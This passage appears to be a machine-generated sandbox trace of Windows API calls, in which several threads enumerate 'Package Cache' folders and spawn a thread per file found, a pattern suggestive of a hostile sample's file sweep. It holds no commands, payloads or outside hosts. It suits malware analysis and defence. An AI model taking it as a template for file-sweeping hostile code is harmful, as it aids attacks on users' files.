hFindFile=0x942830, lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0145.946] wcscmp (_String1="vcredist_x64.exe", _String2=".") returned 1 [0145.946] wcscmp (_String1="vcredist_x64.exe", _String2="..") returned 1 [0145.946] FindNextFileW (in: hFindFile=0x942830, lpFindFileData=0x92b898 | out: lpFindFileData=0x92b898*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaaff840, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfaaff840, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xf0a0a700, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x6f398, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0145.946] FindClose (in: hFindFile=0x942830 | out: hFindFile=0x942830) returned 1 [0145.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92b898) returned 1 [0145.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acd08) returned 1 [0145.946] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6a20) returned 1 Thread: id = 2116 os_tid = 0xd98 [0143.169] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xaa) returned 0x8f4940 [0143.169] wcscpy (in: _Dest=0x8f4940, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0143.169] wcscat (in: _Dest=0x8f4940, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0143.169] wcscat (in: _Dest=0x8f4940, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*" [0143.169] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92c4a0 [0143.169] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942870 [0145.095] wcscmp (_String1=".", _String2=".") returned 0 [0145.095] FindNextFileW (in: hFindFile=0x942870, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfab71c60, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.095] wcscmp (_String1="..", _String2=".") returned 1 [0145.095] wcscmp (_String1="..", _String2="..") returned 0 [0145.095] FindNextFileW (in: hFindFile=0x942870, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0145.095] wcscmp (_String1="packages", _String2=".") returned 1 [0145.095] wcscmp (_String1="packages", _String2="..") returned 1 [0145.095] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xb8) returned 0xd4c6500 [0145.095] wcscpy (in: _Dest=0xd4c6500, _Source="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030" [0145.095] wcscat (in: _Dest=0xd4c6500, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\" [0145.095] wcscat (in: _Dest=0xd4c6500, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages") returned="C:\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages" [0145.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4c6500, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe5c [0145.944] FindNextFileW (in: hFindFile=0x942870, lpFindFileData=0x92c4a0 | out: lpFindFileData=0x92c4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfabbdf20, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xfabbdf20, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xfabbdf20, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0145.944] FindClose (in: hFindFile=0x942870 | out: hFindFile=0x942870) returned 1 [0145.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92c4a0) returned 1 [0145.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4940) returned 1 [0145.944] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b548) returned 1 Thread: id = 2117 os_tid = 0xd9c [0143.169] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xac) returned 0x8f49f8 [0143.169] wcscpy (in: _Dest=0x8f49f8, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0143.169] wcscat (in: _Dest=0x8f49f8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0143.170] wcscat (in: _Dest=0x8f49f8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*" [0143.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912228 [0143.170] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942230 [0144.982] wcscmp (_String1=".", _String2=".") returned 0 [0144.982] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa93425b0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.982] wcscmp (_String1="..", _String2=".") returned 1 [0144.982] wcscmp (_String1="..", _String2="..") returned 0 [0144.982] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0144.982] wcscmp (_String1="packages", _String2=".") returned 1 [0144.982] wcscmp (_String1="packages", _String2="..") returned 1 [0144.982] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xba) returned 0x8fea90 [0144.983] wcscpy (in: _Dest=0x8fea90, _Source="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017" [0144.983] wcscat (in: _Dest=0x8fea90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\" [0144.983] wcscat (in: _Dest=0x8fea90, _Source="packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages" [0146.628] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x8fea90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe48 [0146.629] FindNextFileW (in: hFindFile=0x942230, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa9368710, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa9368710, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa9368710, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0146.629] FindClose (in: hFindFile=0x942230 | out: hFindFile=0x942230) returned 1 [0146.629] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x912228) returned 1 [0146.629] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f49f8) returned 1 [0146.629] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x97b5f8) returned 1 Thread: id = 2118 os_tid = 0xda0 [0143.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9acda8 [0143.170] wcscpy (in: _Dest=0x9acda8, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0143.170] wcscat (in: _Dest=0x9acda8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0143.170] wcscat (in: _Dest=0x9acda8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*" [0143.170] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911af0 [0143.170] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\*", lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942930 [0145.094] wcscmp (_String1=".", _String2=".") returned 0 [0145.094] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xa912d270, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.094] wcscmp (_String1="..", _String2=".") returned 1 [0145.094] wcscmp (_String1="..", _String2="..") returned 0 [0145.094] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xe9f9cff0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x2fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0145.094] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0145.094] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0145.094] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97c048 [0145.094] wcscpy (in: _Dest=0x97c048, _Source="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}" [0145.094] wcscat (in: _Dest=0x97c048, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\" [0145.094] wcscat (in: _Dest=0x97c048, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\state.rsm" [0145.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97c048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe58 [0145.941] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 1 [0145.941] wcscmp (_String1="VC_redist.x64.exe", _String2=".") returned 1 [0145.941] wcscmp (_String1="VC_redist.x64.exe", _String2="..") returned 1 [0145.942] FindNextFileW (in: hFindFile=0x942930, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa912d270, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xa912d270, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0x968d5df0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xbee38, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC_redist.x64.exe", cAlternateFileName="VC_RED~1.EXE")) returned 0 [0145.942] FindClose (in: hFindFile=0x942930 | out: hFindFile=0x942930) returned 1 [0145.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911af0) returned 1 [0145.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acda8) returned 1 [0145.942] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6ab8) returned 1 Thread: id = 2119 os_tid = 0xda4 [0143.171] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9ace48 [0143.171] wcscpy (in: _Dest=0x9ace48, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0143.171] wcscat (in: _Dest=0x9ace48, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0143.171] wcscat (in: _Dest=0x9ace48, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*" [0143.171] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x910c80 [0143.171] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\*", lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9429b0 [0145.093] wcscmp (_String1=".", _String2=".") returned 0 [0145.093] FindNextFileW (in: hFindFile=0x9429b0, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcad7040, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.093] wcscmp (_String1="..", _String2=".") returned 1 [0145.093] wcscmp (_String1="..", _String2="..") returned 0 [0145.093] FindNextFileW (in: hFindFile=0x9429b0, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcad7040, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcad7040, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x105e7220, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x29a, dwReserved0=0x0, dwReserved1=0x0, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0145.093] wcscmp (_String1="state.rsm", _String2=".") returned 1 [0145.093] wcscmp (_String1="state.rsm", _String2="..") returned 1 [0145.094] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xa4) returned 0x97bf98 [0145.094] wcscpy (in: _Dest=0x97bf98, _Source="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}" [0145.094] wcscat (in: _Dest=0x97bf98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\" [0145.094] wcscat (in: _Dest=0x97bf98, _Source="state.rsm" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="C:\\Users\\All Users\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" [0145.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97bf98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe54 [0145.939] FindNextFileW (in: hFindFile=0x9429b0, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0145.939] wcscmp (_String1="vcredist_x86.exe", _String2=".") returned 1 [0145.939] wcscmp (_String1="vcredist_x86.exe", _String2="..") returned 1 [0145.939] FindNextFileW (in: hFindFile=0x9429b0, lpFindFileData=0x910c80 | out: lpFindFileData=0x910c80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64c20, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xca64c20, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xfe5c3760, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x71080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0145.940] FindClose (in: hFindFile=0x9429b0 | out: hFindFile=0x9429b0) returned 1 [0145.940] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x910c80) returned 1 [0145.940] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ace48) returned 1 [0145.940] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f6508) returned 1 Thread: id = 2120 os_tid = 0xda8 [0143.171] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x94) returned 0x9acee8 [0143.171] wcscpy (in: _Dest=0x9acee8, _Source="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}" [0143.171] wcscat (in: _Dest=0x9acee8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\" [0143.171] wcscat (in: _Dest=0x9acee8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*") returned="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*" [0143.171] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911d58 [0143.171] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\*", lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9429f0 [0145.092] wcscmp (_String1=".", _String2=".") returned 0 [0145.092] FindNextFileW (in: hFindFile=0x9429f0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf93c9960, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0xf93efac0, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0xf93efac0, ftLastWriteTime.dwHighDateTime=0x1d2fc27, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.092] wcscmp (_String1="..", _String2=".") returned 1 [0145.092] wcscmp (_String1="..", _String2="..") returned 0 [0145.092] FindNextFileW 